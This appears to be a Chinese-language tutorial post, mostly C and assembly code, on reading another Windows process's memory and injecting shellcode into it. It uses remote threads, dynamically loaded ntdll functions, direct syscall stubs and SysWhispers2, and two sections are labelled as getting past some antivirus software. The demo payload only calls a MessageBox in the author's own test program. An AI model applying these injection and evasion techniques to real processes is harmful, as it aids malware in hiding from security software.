[toc]

调用win32相关函数读取进程内存数据与shellcode注入

1. 用C语言写一个程序Message.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//Message.c
#include <stdio.h>
#include <windows.h>
void Message()
{
MessageBoxA(0, 0, 0, 0);
}
int main(int argc, char** argv)
{
size_t var = 0x8070605040302010;
printf("var vulue is 0x%llX\n", var);
printf("var address is 0x%p\n", &var);
size_t* p = &var;
printf("var vulue is 0x%llX\n", *p);
printf("var address is 0x%p\n", p);
printf("point p address is 0x%p\n", &p);
printf("ProcessID is %d\n", GetCurrentProcessId());
printf("Module Message.exe address is 0x%p\n",GetModuleHandleA("Message.exe"));
printf("Message function address is 0x%p\n", &Message);
getchar();
return 0;
}

2.读取Message.exe的内存数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <windows.h>
#include <stdio.h>


int main(int argc, char* argv[])
{
DWORD dwProcessId = 59568;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
size_t lpBaseAddr = 0x000000000014FCF8;//0x0019FEDC/0x000000000014FCF8 is address
size_t* buffer = malloc(sizeof(size_t));//recive readed data
SIZE_T nSize = sizeof(size_t);//read 4/8 bytes data
SIZE_T* readLength = malloc(sizeof(SIZE_T));//output value is actully readed data size
ReadProcessMemory(hProcess, lpBaseAddr, buffer, nSize, readLength);
CloseHandle(hProcess);
printf("Read address 0x%p data is 0x%llx\n", lpBaseAddr, *buffer);
printf("Read data length is %d\n", *readLength);
return 0;
}

3.给Message.exe注入shellcode(此程序编译或运行时正常情况下会被杀毒软件阻止)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <windows.h>
#include <stdio.h>


//mov edx, 0x00401040//Message函数
//call edx
//ret
char AddSunc[] = { 0xBA,0x40,0x10,0x40,0x00,0xFF,0xD2,0xC3 };

void InjectCode(DWORD dwProcId, LPVOID mFunc)
{
HANDLE hProcess, hThread;
LPVOID mFuncAddr, ParamAddr;
DWORD NumberOfByte;

hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcId);
mFuncAddr = VirtualAllocEx(hProcess, NULL, 1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, mFuncAddr, mFunc, 1024, &NumberOfByte);
hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)mFuncAddr, NULL, 0, &NumberOfByte);
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, mFuncAddr, 1024, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
}

int main()
{
InjectCode(51288, AddSunc);
return 0;
}

使用C语言动态加载ntdll.dll中的函数

1. 动态加载NtReadVirtualMemory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

#include <stdio.h>
#include <windows.h>

typedef NTSTATUS(NTAPI* Ptr_NtReadVirtualMemory)(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
OUT PVOID Buffer,
IN ULONG NumberOfBytesToRead,
OUT PULONG NumberOfBytesReaded OPTIONAL);

int main()
{

HMODULE hModule = LoadLibrary(TEXT("Ntdll.dll "));
Ptr_NtReadVirtualMemory NtReadVirtualMemory = (Ptr_NtReadVirtualMemory)GetProcAddress(hModule, "NtReadVirtualMemory");

int adrnum = 0;
HANDLE id = OpenProcess(PROCESS_ALL_ACCESS, 0, 8652);
NTSTATUS status = NtReadVirtualMemory(id, (PVOID)0x0019FEDC, (LPVOID)&adrnum, 4, 0);
CloseHandle(id);

printf("read data is %d\n", adrnum);

system("pause");
return 0;

}

2.动态加载NtWriteVirtualMemory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

typedef NTSTATUS(NTAPI* pfnNtWriteVirtualMemory)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
ULONG BufferLength,
PULONG ReturnLength OPTIONAL
);


int main()
{

//SetDebugPrivileges(); //提权
HMODULE hModule = LoadLibrary(TEXT("Ntdll.dll "));
pfnNtWriteVirtualMemory NtWriteVirtualMemory = (pfnNtWriteVirtualMemory)GetProcAddress(hModule, "NtWriteVirtualMemory");
NTSTATUS status;

HANDLE w_hopen = OpenProcess(PROCESS_ALL_ACCESS, 0, 8652);

DWORD64 temp = 0x31;
DWORD OldProtect;

VirtualProtectEx(w_hopen, (LPVOID)0x0019FEDC, sizeof(temp), PAGE_READWRITE, &OldProtect);
status = NtWriteVirtualMemory(w_hopen, (LPVOID)0x0019FEDC, &temp, 1, NULL);
VirtualProtectEx(w_hopen, (LPVOID)0x0019FEDC, sizeof(temp), OldProtect, &OldProtect);
if (status)
MessageBoxA(NULL, (LPCTSTR)"error", (LPCTSTR)"faile", MB_OK);

return 0;
}

3.动态加载NtCreateThreadEx完成shellCode注入(可过一些杀毒软件)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <windows.h>
#include <stdio.h>

#ifdef _AMD64_
typedef DWORD(WINAPI* PfnZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximunStackSize,
LPVOID pUnkown);


#else

typedef DWORD(WINAPI* PfnZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateThreadFlags,
DWORD ZeroBits,
DWORD StackSize,
DWORD MaximumStackSize,
LPVOID pUnkown);

#endif
// DEBUG
//mov edx, 0x00401040//Message函数
//call edx
//ret

char AddSunc[] = { 0xBA,0x40,0x10,0x40,0x00,0xFF,0xD2,0xC3 };

void InjectCode(DWORD dwProcId, LPVOID mFunc)
{
HANDLE hProcess, hThread = NULL;
LPVOID mFuncAddr, ParamAddr;
DWORD NumberOfByte;
//和ReadProcessMemory用法一致
HMODULE hModule = GetModuleHandle(TEXT("Ntdll.dll"));//LoadLibrary(TEXT("Ntdll.dll "));
PfnZwCreateThreadEx m_ZwCreateThreadEx = (PfnZwCreateThreadEx)GetProcAddress(hModule, "ZwCreateThreadEx");

hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcId);
mFuncAddr = VirtualAllocEx(hProcess, NULL, 1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, mFuncAddr, mFunc, 1024, &NumberOfByte);

m_ZwCreateThreadEx(&hThread, PROCESS_ALL_ACCESS, NULL, hProcess,
(LPTHREAD_START_ROUTINE)mFuncAddr, NULL, 0, 0, 0, 0, NULL);
//hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)mFuncAddr, NULL, 0, &NumberOfByte);
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, mFuncAddr, 1024, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
}

int main()
{
InjectCode(51288, AddSunc);
return 0;
}

动态获得系统调用(syscall)号

1.动态获取x86_64系统调用号,根据syscall调用实现NtAllocateVirtualMemory`函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <Windows.h>
#include <stdio.h>
#include <tchar.h>
#pragma comment(linker, "/section:.data,RWE")//.data段可执行

CHAR FuncExample[] = {
0x4c,0x8b,0xd1, //mov r10,rcx
0xb8,0xb9,0x00,0x00,0x00, //mov eax,0B9h
0x0f,0x05, //syscall
0xc3 //ret
};

typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(//函数指针
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect);


DOUBLE GetAndSetSysCall(TCHAR* szFuncName) {
DWORD SysCallid = 0;
HMODULE hModule = GetModuleHandle(_T("ntdll.dll"));
DWORD64 FuncAddr = (DWORD64)GetProcAddress(hModule, (LPCSTR)szFuncName);
LPVOID CallAddr = (LPVOID)(FuncAddr + 4);
ReadProcessMemory(GetCurrentProcess(), CallAddr, &SysCallid, 4, NULL);
memcpy(FuncExample+4, (CHAR*)&SysCallid, 2);
return (DOUBLE)SysCallid;
}

int main() {
LPVOID Address = NULL;
SIZE_T uSize = 0x1000;
DOUBLE call = GetAndSetSysCall((TCHAR*)"NtAllocateVirtualMemory");
pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)&FuncExample;
NTSTATUS status = NtAllocateVirtualMemory(GetCurrentProcess(), &Address, 0, &uSize, MEM_COMMIT, PAGE_READWRITE);
return 0;

}

2. 动态获取x86系统调用号,根据syscall调用实现NtReadVirtualMemory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <windows.h>
#include <stdio.h>

typedef NTSTATUS(NTAPI* NtReadVirtualMemoryProc)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
ULONG NumberOfBytesToRead,
PULONG NumberOfBytesReaded);


int main(int argc, char* argv[])
{
HMODULE hModule = LoadLibraryA("ntdll.dll");
PUCHAR pFunAddr = (PUCHAR)GetProcAddress(hModule, "NtReadVirtualMemory");

//获取ZwOpenProcess函数长度
ULONG uSize = 0;
for (int i = 0; i < 100; i++)
{
//C2 == ret
if (pFunAddr[i] == 0xc2)
{
uSize = i + 2;
break;
}
}
//函数指针申请内存
NtReadVirtualMemoryProc func = (NtReadVirtualMemoryProc)VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//拷贝默认函数数据
memcpy(func, pFunAddr, uSize);

DWORD dwProcessId = 59568;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
size_t lpBaseAddr = 0x000000000014FCF8;//0x0019FEDC/0x000000000014FCF8 is address
size_t* buffer = malloc(sizeof(size_t));//recive readed data
SIZE_T nSize = sizeof(size_t);//read 4/8 bytes data
SIZE_T* readLength = malloc(sizeof(SIZE_T));//output value is actully readed data size
func(hProcess, lpBaseAddr, buffer, nSize, readLength);
CloseHandle(hProcess);
printf("Read address 0x%p data is 0x%llx\n", lpBaseAddr, *buffer);
printf("Read data length is %d\n", *readLength);
return 0;
}

3. 动态获取x86_64系统调用号,根据syscall调用实现NtReadVirtualMemory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <windows.h>
#include <stdio.h>

#pragma comment(linker, "/section:.data,RWE")//.data段可执行

CHAR FuncExample[] = {
0x4c,0x8b,0xd1, //mov r10,rcx
0xb8,0xb9,0x00,0x00,0x00, //mov eax,0B9h
0x0f,0x05, //syscall
0xc3 //ret
};
typedef NTSTATUS(NTAPI* NtReadVirtualMemoryProc)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
ULONG NumberOfBytesToRead,
PULONG NumberOfBytesReaded);

VOID SetSysCall() {
DWORD SysCallid = 0;
HMODULE hModule = GetModuleHandleA("ntdll.dll");
if (hModule) {
DWORD64 FuncAddr = (DWORD64)GetProcAddress(hModule, "NtReadVirtualMemory");
LPVOID CallAddr = (LPVOID)(FuncAddr + 4); //读取的基地址指向0xb8的地址
ReadProcessMemory(GetCurrentProcess(), CallAddr, &SysCallid, 1, NULL); //从0xb8开始读取一个字节
memcpy(FuncExample + 4, (CHAR*)&SysCallid, 1); //复制一个字节到数组
}

}


int main(int argc, char* argv[])
{
SetSysCall();
DWORD dwProcessId = 59568;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
size_t lpBaseAddr = 0x000000000014FCF8;//0x0019FEDC/0x000000000014FCF8 is address
size_t* buffer = malloc(sizeof(size_t));//recive readed data
SIZE_T nSize = sizeof(size_t);//read 4/8 bytes data
SIZE_T* readLength = malloc(sizeof(SIZE_T));//output value is actully readed data size
NtReadVirtualMemoryProc NtReadVirtualMemory = (NtReadVirtualMemoryProc)&FuncExample;
NtReadVirtualMemory(hProcess, lpBaseAddr, buffer, nSize, readLength);
CloseHandle(hProcess);
printf("Read address 0x%p data is 0x%llx\n", lpBaseAddr, *buffer);
printf("Read data length is %d\n", *readLength);
return 0;
}

使用汇编语言重写ReadProcessMemory等函数

  1. 找到系统的syscall,win1123h1中NtReadVirtualMemory调用为0x3F
  2. 参考链接:Windows X86-64 System Call Table (XP/2003/Vista/7/8/10/2022/11)

1.x86中根据syscall调用号重写ReadProcessMemory

  1. 使用x32dbg分析ReadProcessMemory

  2. 编写C语言与内联汇编重写ReadProcessMemory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <windows.h>
#include <stdio.h>


#include <stdio.h>
#include <windows.h>
BOOL MyReadProcessMemory(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesRead
)
{
__asm
{
lea eax, lpNumberOfBytesRead
push eax
push nSize
push lpBuffer
push lpBaseAddress
push hProcess
mov eax, 0x3F
mov edx, 0x777A9C90
call edx
add esp, 20

}
}

/*
77786F90 | B8 3F000000 | mov eax, 3F
77786F95 | BA 909C7A77 | mov edx, ntdll.777A9C90
77786F9A | FFD2 | call edx
*/

int main(int argc, char* argv[])
{
DWORD dwProcessId = 59568;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
size_t lpBaseAddr = 0x000000000014FCF8;//0x0019FEDC/0x000000000014FCF8 is address
size_t* buffer = malloc(sizeof(size_t));//recive readed data
SIZE_T nSize = sizeof(size_t);//read 4/8 bytes data
SIZE_T* readLength = malloc(sizeof(SIZE_T));//output value is actully readed data size
MyReadProcessMemory(hProcess, lpBaseAddr, buffer, nSize, readLength);
CloseHandle(hProcess);
printf("Read address 0x%p data is 0x%x\n", lpBaseAddr, *buffer);
printf("Read data length is %d\n", *readLength);
return;
}

2.在x86_64中根据syscall调用号重写ReadProcessMemory

  1. 使用x64dbg分析ReadProcessMemory

  2. 编写x86_64位汇编程序MyWin32.asm

1
2
3
4
5
6
7
8
9
10
11
.code

NtReadVirtualMemoryProc proc
mov r10, rcx
mov eax, 3Fh
syscall
ret
NtReadVirtualMemoryProc endp

end

  1. 编写C语言程序调用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <windows.h>
#include <stdio.h>

EXTERN_C NTSTATUS NTAPI NtReadVirtualMemoryProc(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
ULONG NumberOfBytesToRead,
PULONG NumberOfBytesReaded);



int main(int argc, char* argv[])
{
DWORD dwProcessId = 59568;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
size_t lpBaseAddr = 0x000000000014FCF8;//0x0019FEDC/0x000000000014FCF8 is address
size_t* buffer = malloc(sizeof(size_t));//recive readed data
SIZE_T nSize = sizeof(size_t);//read 4/8 bytes data
SIZE_T* readLength = malloc(sizeof(SIZE_T));//output value is actully readed data size
NtReadVirtualMemoryProc(hProcess, lpBaseAddr, buffer, nSize, readLength);
CloseHandle(hProcess);
printf("Read address 0x%p data is 0x%llx\n", lpBaseAddr, *buffer);
printf("Read data length is %d\n", *readLength);
return 0;
}

3. x86_64中根据syscall调用号重写多个函数

  1. AsmHacking.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
;AsmHacking.asm
.CODE
MyNtOpenProcess PROC
mov r10, rcx
mov eax, 26h
syscall
ret
MyNtOpenProcess ENDP

MyOpenProcess PROC
mov r11, rsp
sub rsp, 68h
and qword ptr [r11-40h], 0
lea r9, [r11-48h]
movsxd rax, r8d
xorps xmm0, xmm0
mov r12,30h
mov [rsp + 68h - 38h], r12
lea r8, [r11-38h]
and qword ptr [r11-30h], 0
neg edx
mov [r11-48h], rax
mov edx, ecx
lea rcx, [r11+20h]
sbb eax, eax
and eax, 2
mov [rsp+68h-20h], eax
and qword ptr [r11-28h], 0
movdqu [rsp+68h-18h], xmm0
call MyNtOpenProcess
nop dword ptr [rax+rax+00h]
mov rax, [rsp+68h+20h]
add rsp,68h
ret
MyOpenProcess ENDP

MyZwReadVirtualMemory PROC
mov r10, rcx
mov eax, 3Fh
syscall
ret
MyZwReadVirtualMemory ENDP

MyReadProcessMemory PROC
sub rsp, 48h
lea rax, [rsp+48h-18h]
mov [rsp+48h-28h], rax
call MyZwReadVirtualMemory
nop dword ptr [rax+rax+00h]
mov rdx, [rsp+48h+28h]
test rdx, rdx
jnz short J
S:mov eax, 1
add rsp, 48h
ret
J:mov rcx, [rsp+48h-18h]
mov [rdx], rcx
jmp short S
MyReadProcessMemory ENDP

MyNtWriteVirtualMemory PROC
mov r10, rcx
mov eax, 3Ah
syscall
ret
MyNtWriteVirtualMemory ENDP
END

2.C语言调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <windows.h>
#include <stdio.h>


EXTERN_C NTSTATUS NTAPI MyZwReadVirtualMemory(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
ULONG NumberOfBytesToRead,
PULONG NumberOfBytesReaded);

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
PVOID RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID
{
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
NTSYSAPI NTSTATUS NTAPI MyNtOpenProcess(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId
);
WINBASEAPI HANDLE WINAPI MyOpenProcess(
_In_ DWORD dwDesiredAccess,
_In_ BOOL bInheritHandle,
_In_ DWORD dwProcessId
);

int main(int argc, char* argv[])
{
HANDLE hProcess=NULL;
CLIENT_ID client = { 0 };
client.UniqueProcess = (HANDLE)59568; //要打开的进程pid
OBJECT_ATTRIBUTES obattr = { 0 };
obattr.Length = sizeof(OBJECT_ATTRIBUTES);
MyNtOpenProcess(&hProcess,PROCESS_ALL_ACCESS, &obattr, &client);
size_t lpBaseAddr = 0x000000000014FCF8;//0x0019FEDC/0x000000000014FCF8 is address
size_t* buffer = malloc(sizeof(size_t));//recive readed data
SIZE_T nSize = sizeof(size_t);//read 4/8 bytes data
SIZE_T* readLength = malloc(sizeof(SIZE_T));//output value is actully readed data size
MyZwReadVirtualMemory(hProcess, lpBaseAddr, buffer, nSize, readLength);
CloseHandle(hProcess);
printf("Read address 0x%p data is 0x%x\n", lpBaseAddr, *buffer);
printf("Read data length is %d\n", *readLength);
return;
}

4.使用SysWhispers2导出所有相关函数

  1. 下载SysWhispers2

  2. 在命令行中运行命令,生成汇编和头文件。

  3. py .\syswhispers.py --preset all -o syscalls_all
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36

    4. 添加64位汇编与头文件到项目里

    `syscalls_all.h`,

    `syscalls_all.c`,

    `syscalls_all_inline.std.x64.h`,

    `syscalls_all_stubs.std.x64.asm`

    5. 在源文件中包含头文件

    6. 可以直接调用Nt函数了

    syscall.cpp

    ```cpp
    #include <stdio.h>
    #include <Windows.h>
    #include "syscalls_all.h" // Import the generated header.


    int main()
    {
    int adrnum = 0;
    HANDLE id = OpenProcess(PROCESS_ALL_ACCESS, 0, 8652);
    NtReadVirtualMemory(id, (PVOID)0x0019FEDC, (LPVOID)&adrnum, 4, 0);
    CloseHandle(id);

    printf("read data is 0x%llX\n", adrnum);

    system("pause");
    return 0;

    }

5.调用SysWhispers2生成的函数完成shellcode(可过一些杀毒软件)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include <windows.h>
#include <stdio.h>
#include "syscalls_all.h"
#include <malloc.h>

/******************************************************/
//48 83 EC 08 - sub rsp, 08
//48 BB 7010004001000000 - mov rbx, 0x140001070 //Message函数
//FF D3 - call rbx
// 48 83 C4 08 - add rsp,08
//C3 - ret
/******************************************************/

char AddSunc[] = {0x48, 0x83, 0xEC, 0x08,
0x48, 0xBB, 0x70, 0x10, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00,
0xFF, 0xD3,
0x48,0x83, 0xC4,0x08,
0xC3
};

void InjectCode(DWORD dwProcId, LPVOID mFunc)
{
PHANDLE hProcess;
OBJECT_ATTRIBUTES objAttr;
CLIENT_ID clientId;
// 设置要打开的进程 ID(例如,假设我们要打开进程 ID 为 1234 的进程)
clientId.UniqueProcess = (HANDLE)dwProcId; // 替换为实际的进程 ID
clientId.UniqueThread = NULL; // 线程 ID 可以为 NULL
// 初始化对象属性
InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
// 打开进程
NTSTATUS status = NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &clientId);
if (status)
{
printf("Error NtOpenProcess 0x%X\n",status);
printf("hProcess 0x%X\n", hProcess);
return 0;
}

SIZE_T regionSize = 1024; // 要分配的内存大小(4KB)
PVOID mFuncAddr=NULL;
status = NtAllocateVirtualMemory(hProcess, &mFuncAddr, 0, &regionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (status)
{
printf("Error Allocate 0x%X\n",status);
goto labelCloseProcess;
}
SIZE_T NumberOfByte;
status = NtWriteVirtualMemory(hProcess, (PVOID)mFuncAddr, (PVOID)mFunc, sizeof(AddSunc), &NumberOfByte);
if (status)
{
printf("Error Write 0x%lX\n", status);
goto labelFree;
}
printf("mFuncAddr 0x%lX\n", mFuncAddr);
HANDLE hThread;
status = NtCreateThreadEx(&hThread,
THREAD_ALL_ACCESS, NULL, (PHANDLE)hProcess, (PVOID)mFuncAddr,
NULL,FALSE, NULL, NULL, NULL, NULL);
if (status)
{
printf("Error CreateThread 0x%X\n",status);
goto labelFree;
}
NtWaitForSingleObject(hThread, FALSE,NULL);
NtClose(hThread);
labelFree:
status = NtFreeVirtualMemory(hProcess, &mFuncAddr, &regionSize, MEM_RELEASE);
labelCloseProcess:
NtClose(hProcess);
return;
}

int main()
{
InjectCode(72812, AddSunc);
return 0;
}